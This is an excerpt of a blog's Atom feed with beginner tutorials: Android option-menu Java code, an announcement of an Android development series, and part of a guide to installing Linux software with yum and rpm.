url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiToVJ7nOdnHGbMT3YhKjPYty4_PIWzh-NB17yIE6MzWzGTb_-P4UNZ-cit3cfdJ0KK7RVn5fNtEmlVnazn4WWsi5q74p4Xq-vyywYBitO3xjAqqwZLaV6wrigNa8Z5FhqQwdsaAZ3DHWM/s72-c/DialogBox.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5044415288327726339.post-7324675080832257575</id><published>2013-03-27T10:01:00.002-07:00</published><updated>2013-03-27T10:02:45.304-07:00</updated><title type='text'>How to create Option Menu In Android !</title><content type='html'>&lt;br /&gt;
In android, we&amp;nbsp;oftentimes&amp;nbsp;need to create Option Menu, Here are two methods we need to override as shown in example given below-&lt;br /&gt;
&lt;br /&gt;
public class DialogActivity extends Activity {&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;private static final int ADD_LOC = Menu.FIRST;&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;private static final int CHANGE_PASS = Menu.FIRST+1;&lt;br /&gt;
&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;@Override&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;public void onCreate(Bundle savedInstanceState){&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;super.onCreate (savedInstanceState);&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;setContentView(R.layout.main);&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;}&lt;br /&gt;
/*====================== Option menu creation==========================*/&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;/*------------------------------------menu creation--------------------------------------------*/&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;@Override&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;public boolean onCreateOptionsMenu(Menu menu){&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;menu.add(0,ADD_LOC,0,&quot;Add Location&quot;).setIcon(R.drawable.add);&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;/* 1st argument-&amp;gt;group id, ADD_LOC -&amp;gt; item_id, 3rd argument -&amp;gt; appearance of item in menu,&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;last argument -&amp;gt; Name which will apper on the menu */&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;menu.add(0,CHANGE_PASS,0,&quot;Rename&quot;).setIcon(R.drawable.change);&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;//AlphabeticShortcut(alphaChar) can be used here for selection item through pressing a key Input &lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;return true;&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;}&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;/*-----------------------------------Item Selection-----------------------------------------------*/&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;@Override&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;public boolean onOptionsItemSelected(MenuItem item){&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;switch(item.getItemId()){&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;case ADD_LOC:&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;   &lt;/span&gt;Toast.makeText(DialogActivity.this, &quot;So, YOu can EDIT ?&quot;, Toast.LENGTH_LONG).show();&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;   &lt;/span&gt;// Your code goes here for case One..., Here I have given a Toast on option item selection&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;   &lt;/span&gt;return true;&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;case CHANGE_PASS:&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;   &lt;/span&gt;Toast.makeText(DialogActivity.this, &quot;So, YOu can RENAME ?&quot;, Toast.LENGTH_LONG).show();&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;   &lt;/span&gt;// Your code goes here for case Two...&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;   &lt;/span&gt;return true;&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;}&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;   &lt;/span&gt;return false;&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;}&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;/*------------------------------------------------------------------------------------------------------*/&lt;br /&gt;
/*====================================================================*/&lt;br /&gt;
}&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjaSJ9olMZSxzewqc5ZkLGLdmvnYmqZbgeO927-xyxxnCDlSefsIwYZtP6m9CT4opKDKTaCc7Ful4P3vHmJ3GiXPM-Bb7CcxIPY_XNu3-qSbHlmUrBSngoEnRsQprnht-w99LUUMXH7Y7E/s1600/option+Menu.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjaSJ9olMZSxzewqc5ZkLGLdmvnYmqZbgeO927-xyxxnCDlSefsIwYZtP6m9CT4opKDKTaCc7Ful4P3vHmJ3GiXPM-Bb7CcxIPY_XNu3-qSbHlmUrBSngoEnRsQprnht-w99LUUMXH7Y7E/s1600/option+Menu.png&quot; height=&quot;360&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://ashu-hackingforever.blogspot.com/feeds/7324675080832257575/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://ashu-hackingforever.blogspot.com/2013/03/how-to-create-option-menu-in-android.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5044415288327726339/posts/default/7324675080832257575'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5044415288327726339/posts/default/7324675080832257575'/><link rel='alternate' type='text/html' href='http://ashu-hackingforever.blogspot.com/2013/03/how-to-create-option-menu-in-android.html' title='How to create Option Menu In Android !'/><author><name>Ashutosh</name><uri>http://www.blogger.com/profile/18095646711760167030</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjaSJ9olMZSxzewqc5ZkLGLdmvnYmqZbgeO927-xyxxnCDlSefsIwYZtP6m9CT4opKDKTaCc7Ful4P3vHmJ3GiXPM-Bb7CcxIPY_XNu3-qSbHlmUrBSngoEnRsQprnht-w99LUUMXH7Y7E/s72-c/option+Menu.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5044415288327726339.post-5020748813826186631</id><published>2013-03-16T01:08:00.000-07:00</published><updated>2013-03-16T01:08:33.632-07:00</updated><title type='text'>Start with Android ...</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjUruYK8Mesfhrqt33TsMN0Wf62f-Ynx-2rbdXaJjYCULR6jdoyGcaQy7O9mrPu6sHQkVxIfqMZYpa1a1rrqZYgJejb2RFvhCqJdLpa3BIczFn3E4S3DCH9wdLLQjQ1HcHH-Rn108Qpo5I/s1600/android-boot2.jpg&quot; imageanchor=&quot;1&quot; style=&quot;clear: right; float: right; margin-bottom: 1em; margin-left: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;150&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjUruYK8Mesfhrqt33TsMN0Wf62f-Ynx-2rbdXaJjYCULR6jdoyGcaQy7O9mrPu6sHQkVxIfqMZYpa1a1rrqZYgJejb2RFvhCqJdLpa3BIczFn3E4S3DCH9wdLLQjQ1HcHH-Rn108Qpo5I/s200/android-boot2.jpg&quot; width=&quot;200&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Hey There, I was wondering, If I could help you on android&amp;nbsp;application&amp;nbsp;development... So I am starting a section, This section aims to help you on some Important concepts about Android and more about application development problem, such as basic XML creation, placing listeners in&amp;nbsp;corresponding java files, Context menu creation, Option menu creation, Progress bar creation, Various Dialog Box, DATABASE(SQLite), Mail APIs, Sending Mail without using E-mail Client, Services, Broadcast&amp;nbsp;Receiver, Sending SMS, Sending Text via Bluetooth, Animations, ListView, Splash Screen and much more ...... So just Stay&amp;nbsp;tuned&amp;nbsp;... .. HaPPy AnDrOId Learning ...... :) &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/div&gt;
&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://ashu-hackingforever.blogspot.com/feeds/5020748813826186631/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://ashu-hackingforever.blogspot.com/2013/03/start-with-android.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5044415288327726339/posts/default/5020748813826186631'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5044415288327726339/posts/default/5020748813826186631'/><link rel='alternate' type='text/html' href='http://ashu-hackingforever.blogspot.com/2013/03/start-with-android.html' title='Start with Android ...'/><author><name>Ashutosh</name><uri>http://www.blogger.com/profile/18095646711760167030</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjUruYK8Mesfhrqt33TsMN0Wf62f-Ynx-2rbdXaJjYCULR6jdoyGcaQy7O9mrPu6sHQkVxIfqMZYpa1a1rrqZYgJejb2RFvhCqJdLpa3BIczFn3E4S3DCH9wdLLQjQ1HcHH-Rn108Qpo5I/s72-c/android-boot2.jpg" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5044415288327726339.post-453446861767654768</id><published>2012-11-03T14:53:00.001-07:00</published><updated>2012-11-03T15:24:20.936-07:00</updated><title type='text'>How to Download Applications and Software for the Linux and install ‘em:</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;br /&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
Hey there , In this post I will talk about Some discipline of
installing, Updating, removing &amp;nbsp;Application on Linux.&lt;/div&gt;
&lt;div class=&quot;MsoListParagraphCxSpFirst&quot; style=&quot;mso-list: l0 level1 lfo1; text-indent: -.25in;&quot;&gt;
&lt;!--[if !supportLists]--&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;1)&lt;span style=&quot;font-size: 7pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&lt;/span&gt;&lt;!--[endif]--&gt;YUM installation&lt;/div&gt;
&lt;div class=&quot;MsoListParagraphCxSpMiddle&quot; style=&quot;mso-list: l0 level1 lfo1; text-indent: -.25in;&quot;&gt;
&lt;!--[if !supportLists]--&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;2)&lt;span style=&quot;font-size: 7pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&lt;/span&gt;&lt;!--[endif]--&gt;RPM installation &lt;/div&gt;
&lt;div class=&quot;MsoListParagraphCxSpMiddle&quot; style=&quot;mso-list: l0 level1 lfo1; text-indent: -.25in;&quot;&gt;
&lt;!--[if !supportLists]--&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;3)&lt;span style=&quot;font-size: 7pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&lt;/span&gt;&lt;!--[endif]--&gt;APT installation&lt;/div&gt;
&lt;div class=&quot;MsoListParagraphCxSpMiddle&quot; style=&quot;mso-list: l0 level1 lfo1; text-indent: -.25in;&quot;&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;4) &amp;nbsp;&amp;nbsp;&lt;span style=&quot;line-height: 26px;&quot;&gt;MANDRIVA:URPM installation&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoListParagraphCxSpLast&quot; style=&quot;mso-list: l0 level1 lfo1; text-indent: -.25in;&quot;&gt;
&lt;!--[if !supportLists]--&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;5)&lt;span style=&quot;font-size: 7pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&lt;/span&gt;&lt;!--[endif]--&gt;TAR BALL installation&lt;span style=&quot;text-indent: -0.25in;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoListParagraphCxSpLast&quot; style=&quot;mso-list: l0 level1 lfo1; text-indent: -.25in;&quot;&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;MsoListParagraphCxSpLast&quot; style=&quot;mso-list: l0 level1 lfo1; text-indent: -.25in;&quot;&gt;
&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;YUM: &lt;/b&gt;&lt;span style=&quot;background-color: white; background-position: initial initial; background-repeat: initial initial; font-family: Verdana, sans-serif; font-size: 10pt; line-height: 115%;&quot;&gt;Yum is an
automatic updater and package installer/remover for rpm systems. It
automatically computes dependencies and figures out what things should occur to
install packages. It makes it easier to maintain groups of machines without
having to manually update each one using rpm. Yum has a plugin interface for
adding simple features. Yum can also be used from other python programs via its
module interface.&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span style=&quot;background-color: white; background-position: initial initial; background-repeat: initial initial; font-family: Verdana, sans-serif; font-size: 10pt; line-height: 115%;&quot;&gt;For more information visit
&lt;/span&gt;&lt;a href=&quot;http://yum.baseurl.org/&quot;&gt;http://yum.baseurl.org/&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;b&gt;INSTALLATION through YUM: &lt;/b&gt;First open Terminal of your
Linux&lt;/div&gt;
&lt;div class=&quot;MsoListParagraphCxSpFirst&quot; style=&quot;text-align: left; text-indent: -0.25in;&quot;&gt;
&lt;!--[if !supportLists]--&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; 1)&lt;span style=&quot;font-size: 7pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&lt;/span&gt;&lt;!--[endif]--&gt;Get super user privilege by Typing “su -” (su [space]-)
without quotes and press Enter .Here su stands for sudo.(you can first type
sudo[enter] and then type yum links)&lt;/div&gt;
&lt;div class=&quot;MsoListParagraphCxSpMiddle&quot; style=&quot;text-align: left; text-indent: -0.25in;&quot;&gt;
&lt;!--[if !supportLists]--&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; 2)&lt;span style=&quot;font-size: 7pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&lt;/span&gt;&lt;!--[endif]--&gt;&amp;nbsp;Type yum
download link and press Enter. Download starts, it will ask you for installation &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; press &amp;nbsp;[y][Enter].&lt;/div&gt;
&lt;div class=&quot;MsoListParagraphCxSpLast&quot; style=&quot;text-align: left; text-indent: -0.25in;&quot;&gt;
&lt;!--[if !supportLists]--&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; 3)&lt;span style=&quot;font-size: 7pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&lt;/span&gt;&lt;!--[endif]--&gt;Your application will download and install
automatically&lt;/div&gt;
&lt;div class=&quot;MsoListParagraphCxSpLast&quot; style=&quot;text-align: left; text-indent: -0.25in;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiVCiZvcDaJ2rNJqNcXbMD91YU8SY-ViL_LtYCmYEkTqnAQoreSRrC6wFpQ8PAXH-WtZkpkAORC7tubHfS24M2QejjGb8LjQfLkUq8ohwfWzndRotjxrGN-Mmh7WXcBYdFdKw2KmM_APLo/s1600/yum-package-management.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiVCiZvcDaJ2rNJqNcXbMD91YU8SY-ViL_LtYCmYEkTqnAQoreSRrC6wFpQ8PAXH-WtZkpkAORC7tubHfS24M2QejjGb8LjQfLkUq8ohwfWzndRotjxrGN-Mmh7WXcBYdFdKw2KmM_APLo/s1600/yum-package-management.png&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;b&gt;&lt;span style=&quot;background-color: white; background-position: initial initial; background-repeat: initial initial; line-height: 115%;&quot;&gt;RPM Package Manager&lt;span class=&quot;apple-converted-space&quot;&gt;&amp;nbsp;(&lt;/span&gt;RPM):&lt;/span&gt;&lt;/b&gt;&lt;span style=&quot;background-color: white; background-position: initial initial; background-repeat: initial initial; line-height: 115%;&quot;&gt; is a&lt;span class=&quot;apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;background: white; line-height: 115%; mso-bidi-font-family: Calibri; mso-bidi-font-size: 11.0pt; mso-bidi-theme-font: minor-latin;&quot;&gt;package management system.&lt;span class=&quot;apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;The name RPM variously refers to the&lt;span class=&quot;apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;tt&gt;&lt;span style=&quot;font-family: &amp;quot;Calibri&amp;quot;,&amp;quot;sans-serif&amp;quot;; line-height: 115%; mso-ansi-font-size: 11.0pt; mso-ascii-theme-font: minor-latin; mso-bidi-font-size: 11.0pt; mso-bidi-theme-font: minor-latin; mso-fareast-font-family: Calibri; mso-fareast-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;&quot;&gt;.rpm&lt;/span&gt;&lt;/tt&gt;&lt;span class=&quot;apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;file format, files in this format, software&lt;span class=&quot;apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;packaged in such files, and the package manager itself. RPM
was intended primarily for&lt;span class=&quot;apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;GNU/Linux
distributions; the file format is the baseline
package format of the&lt;span class=&quot;apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;Linux
Standard Base.&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span style=&quot;background-color: white; background-position: initial initial; background-repeat: initial initial; line-height: 115%;&quot;&gt;For more information visit &lt;/span&gt;&lt;span style=&quot;font-size: 12.0pt; line-height: 115%; mso-bidi-font-family: Calibri; mso-bidi-font-size: 11.0pt; mso-bidi-theme-font: minor-latin;&quot;&gt;&lt;a href=&quot;http://rpm.org/&quot;&gt;http://rpm.org/&lt;/a&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;background: white; margin-bottom: .0001pt; margin-bottom: 0in; margin-left: .5in; margin-right: 0in; margin-top: 0in;&quot;&gt;
&lt;b&gt;&lt;span style=&quot;font-family: &amp;quot;Calibri&amp;quot;,&amp;quot;sans-serif&amp;quot;; font-size: 11.0pt; mso-ascii-theme-font: minor-latin; mso-bidi-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;&quot;&gt;INSTALLATION through RPM: &lt;/span&gt;&lt;/b&gt;&lt;span style=&quot;font-family: &amp;quot;Calibri&amp;quot;,&amp;quot;sans-serif&amp;quot;; font-size: 11.0pt; mso-ascii-theme-font: minor-latin; mso-bidi-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;&quot;&gt;For
installing a software package, you use the&lt;span class=&quot;apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;code&gt;&lt;span style=&quot;font-family: &amp;quot;Calibri&amp;quot;,&amp;quot;sans-serif&amp;quot;; mso-ansi-font-size: 11.0pt; mso-ascii-theme-font: minor-latin; mso-bidi-font-size: 11.0pt; mso-bidi-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;&quot;&gt;rpm&lt;/span&gt;&lt;/code&gt;&lt;span class=&quot;apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;command
with&lt;span class=&quot;apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;code&gt;&lt;span style=&quot;font-family: &amp;quot;Calibri&amp;quot;,&amp;quot;sans-serif&amp;quot;; mso-ansi-font-size: 11.0pt; mso-ascii-theme-font: minor-latin; mso-bidi-font-size: 11.0pt; mso-bidi-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;&quot;&gt;-i&lt;/span&gt;&lt;/code&gt;&lt;span class=&quot;apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;option
(which stands for &quot;install&quot;). For example, &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background: white; margin-bottom: .0001pt; margin-bottom: 0in; margin-left: .5in; margin-right: 0in; margin-top: 0in;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Calibri&amp;quot;,&amp;quot;sans-serif&amp;quot;; font-size: 11.0pt; mso-ascii-theme-font: minor-latin; mso-bidi-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;&quot;&gt;1).To install an RPM package
called&lt;span class=&quot;apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;code&gt;&lt;span style=&quot;font-family: &amp;quot;Calibri&amp;quot;,&amp;quot;sans-serif&amp;quot;; mso-ansi-font-size: 11.0pt; mso-ascii-theme-font: minor-latin; mso-bidi-font-size: 11.0pt; mso-bidi-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;&quot;&gt;software-2.3.4.rpm&lt;/span&gt;&lt;/code&gt;:&lt;br /&gt;
&lt;code&gt;&lt;span style=&quot;font-family: &amp;quot;Calibri&amp;quot;,&amp;quot;sans-serif&amp;quot;; mso-ansi-font-size: 11.0pt; mso-ascii-theme-font: minor-latin; mso-bidi-font-size: 11.0pt; mso-bidi-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;&quot;&gt;#&lt;/span&gt;&lt;/code&gt;&lt;span class=&quot;apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;strong&gt;rpm -i software-2.3.4.rpm&lt;/strong&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: white; background-position: initial initial; background-repeat: initial initial; margin: 0in 0in 0.0001pt 0.5in;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Calibri&amp;quot;,&amp;quot;sans-serif&amp;quot;; font-size: 11.0pt; mso-ascii-theme-font: minor-latin; mso-bidi-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;&quot;&gt;2).If you already have some version installed on your system and
want to upgrade it to the new version, you use&lt;span class=&quot;apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;code&gt;&lt;span style=&quot;font-family: &amp;quot;Calibri&amp;quot;,&amp;quot;sans-serif&amp;quot;; mso-ansi-font-size: 11.0pt; mso-ascii-theme-font: minor-latin; mso-bidi-font-size: 11.0pt; mso-bidi-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;&quot;&gt;-U&lt;/span&gt;&lt;/code&gt;&lt;span class=&quot;apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;option instead (which stands for
&quot;upgrade&quot;). For example, if you have &lt;code&gt;&lt;span style=&quot;font-family: &amp;quot;Calibri&amp;quot;,&amp;quot;sans-serif&amp;quot;; mso-ansi-font-size: 11.0pt; mso-ascii-theme-font: minor-latin; mso-bidi-font-size: 11.0pt; mso-bidi-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;&quot;&gt;software-2.3.3.rpm&lt;/span&gt;&lt;/code&gt;&lt;span class=&quot;apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;installed and want to upgrade it:&lt;br /&gt;
&lt;code&gt;&lt;span style=&quot;font-family: &amp;quot;Calibri&amp;quot;,&amp;quot;sans-serif&amp;quot;; mso-ansi-font-size: 11.0pt; mso-ascii-theme-font: minor-latin; mso-bidi-font-size: 11.0pt; mso-bidi-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;&quot;&gt;#&lt;/span&gt;&lt;/code&gt;&lt;span class=&quot;apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;strong&gt;rpm -U software-2.3.4.rpm&lt;/strong&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-left: .5in;&quot;&gt;
